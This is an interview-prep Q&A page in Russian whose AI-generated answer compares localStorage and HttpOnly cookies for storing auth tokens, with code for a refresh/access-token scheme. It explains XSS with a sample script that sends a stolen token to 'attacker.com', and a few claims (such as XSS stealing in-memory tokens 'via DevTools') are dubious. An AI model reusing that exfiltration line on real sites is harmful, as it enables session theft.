← Назад к вопросам

Credentials лучше хранить в localStorage или в cookie

1.7 Middle🔥 151 комментариев
#Браузер и сетевые технологии

Комментарии (1)

🐱
claude-haiku-4.5PrepBro AI2 апр. 2026 г.(ред.)

Ответ сгенерирован нейросетью и может содержать ошибки

Где хранить Credentials: localStorage vs cookie

Ответ: лучше в HttpOnly cookie, но вопрос сложнее, чем кажется. Нужно понимать компромиссы каждого подхода.

Сравнение localStorage vs cookie

ХарактеристикаlocalStoragecookie
Область доступаJavaScriptJavaScript + HTTP
Размер5-10 MB4 KB
Автоматическая отправкаНетДа (если HttpOnly: только HTTP)
XSS защитаНетДа (если HttpOnly)
CSRF защитаНужна ручнаяВстроена (SameSite)
ИстечениеВручнуюАвтоматическое
Кроссдоменный доступНетЗависит от настроек

localStorage

Как хранятся credentials:

// Пользователь логинится
const response = await fetch('/api/login', {
  method: 'POST',
  body: JSON.stringify({ email, password })
});

const { token } = await response.json();

// Сохраняем в localStorage
localStorage.setItem('authToken', token);

// Потом используем в запросах
const makeRequest = async (url) => {
  const token = localStorage.getItem('authToken');
  return fetch(url, {
    headers: { 'Authorization': `Bearer ${token}` }
  });
};

Проблемы localStorage:

  1. XSS уязвимость - любой скрипт может украсть токен:
// Вредоносный скрипт на странице
const token = localStorage.getItem('authToken');
await fetch('https://attacker.com/steal?token=' + token);
  1. Медленнее, чем cookie - нужно читать localStorage в каждом запросе

  2. Нет автоматической отправки - нужно вручную добавлять в заголовки

cookie

Как хранятся credentials:

// Сервер устанавливает cookie в ответ
POST /api/login
response headers:
Set-Cookie: authToken=abc123; HttpOnly; Secure; SameSite=Strict

// Браузер автоматически отправляет cookie в каждом запросе
GET /api/me
request headers:
Cookie: authToken=abc123

Преимущества HttpOnly cookie:

  1. XSS защита - JavaScript не может получить доступ:
// Вредоносный скрипт НЕ может украсть
const token = document.cookie; // не содержит HttpOnly cookies
  1. Автоматическая отправка - браузер сам отправляет в каждом запросе

  2. CSRF защита - можно использовать SameSite и CSRF tokens

Рекомендуемая стратегия: Two-token approach

Лучший подход в 2024-2025 году:

1. HttpOnly Refresh Token в cookie

// Сервер устанавливает
Set-Cookie: refreshToken=xyz789; HttpOnly; Secure; SameSite=Strict; Max-Age=7776000

// JavaScript не может получить доступ
console.log(document.cookie); // refreshToken НЕ здесь

2. Access Token в памяти или localStorage

// Access token (короткоживущий, ~15 минут)
const { accessToken } = await response.json();
localStorage.setItem('accessToken', accessToken);

// Используем в заголовках
const headers = {
  'Authorization': `Bearer ${localStorage.getItem('accessToken')}`
};

Алгоритм:

class AuthService {
  async login(email: string, password: string) {
    const response = await fetch('/api/login', {
      method: 'POST',
      credentials: 'include', // отправляем cookies
      body: JSON.stringify({ email, password })
    });

    const { accessToken } = await response.json();
    // Access token (JWT на 15 минут) в localStorage
    localStorage.setItem('accessToken', accessToken);
    // Refresh token автоматически в HttpOnly cookie
  }

  async getNewAccessToken() {
    // Refresh token отправляется автоматически в cookies
    const response = await fetch('/api/refresh', {
      credentials: 'include' // браузер отправляет cookies
    });

    const { accessToken } = await response.json();
    localStorage.setItem('accessToken', accessToken);
    return accessToken;
  }

  async makeRequest(url: string) {
    let accessToken = localStorage.getItem('accessToken');

    let response = await fetch(url, {
      headers: {
        'Authorization': `Bearer ${accessToken}`
      },
      credentials: 'include' // отправляем cookies
    });

    // Если token истек (401), обновляем
    if (response.status === 401) {
      accessToken = await this.getNewAccessToken();
      response = await fetch(url, {
        headers: {
          'Authorization': `Bearer ${accessToken}`
        },
        credentials: 'include'
      });
    }

    return response;
  }

  logout() {
    localStorage.removeItem('accessToken');
    // Refresh token удаляется на сервере
    fetch('/api/logout', {
      method: 'POST',
      credentials: 'include'
    });
  }
}

Почему это хорошо:

  • Access token в памяти/localStorage = уязвим для XSS, но он короткоживущий (15 мин)
  • Refresh token в HttpOnly cookie = защищен от XSS
  • Если XSS украдет access token, вреда минимален (только 15 минут)
  • Refresh token привязан к браузеру (в cookie), сложнее украсть

Альтернатива: Хранить оба в памяти (React Context)

const AuthContext = React.createContext<{ token: string | null }>(null);

function AuthProvider({ children }) {
  const [token, setToken] = useState<string | null>(null);

  const login = async (email: string, password: string) => {
    const response = await fetch('/api/login', {
      method: 'POST',
      credentials: 'include',
      body: JSON.stringify({ email, password })
    });

    const { accessToken } = await response.json();
    setToken(accessToken); // в памяти React компонента
  };

  // При перезагрузке страницы - нужно заново логиниться
  // ИЛИ восстановить из refresh token
  useEffect(() => {
    const restoreSession = async () => {
      try {
        const response = await fetch('/api/refresh', {
          credentials: 'include'
        });
        const { accessToken } = await response.json();
        setToken(accessToken);
      } catch (e) {
        // Not logged in
      }
    };

    restoreSession();
  }, []);

  return (
    <AuthContext.Provider value={{ token }}>
      {children}
    </AuthContext.Provider>
  );
}

Проблемы:

  • При refresh страницы нужно восстанавливать сессию
  • XSS может украсть token из памяти (через DevTools)
  • Сложнее для СПА с несколькими вкладками

НИКОГДА не делай так

// НИКОГДА: пароли в localStorage
localStorage.setItem('password', password); // XSS может украсть!

// НИКОГДА: неиспользуемые credentials
localStorage.setItem('authToken', token); // без HttpOnly cookie

// НИКОГДА: без HTTPS
// Cookie без Secure флага может быть перехвачен

Best Practice для 2025

Рекомендуемый стек:

  1. Refresh Token - HttpOnly, Secure, SameSite=Strict cookie (7 дней)
  2. Access Token - JSON response (15 минут), в памяти или localStorage
  3. CSRF Protection - SameSite=Strict cookie или CSRF token
  4. HTTPS - всегда
  5. Content-Security-Policy - защита от XSS

Заключение

Lучше всего:

  1. Refresh Token в HttpOnly cookie - защищен от XSS
  2. Access Token в localStorage или памяти - удобнее для SPA
  3. Никогда не хранить пароли - только tokens
  4. Понимать компромиссы - нет идеального решения, есть подходящее для вашего случая
  5. HTTPS + SameSite + HttpOnly - минимальная безопасность
Credentials лучше хранить в localStorage или в cookie | PrepBro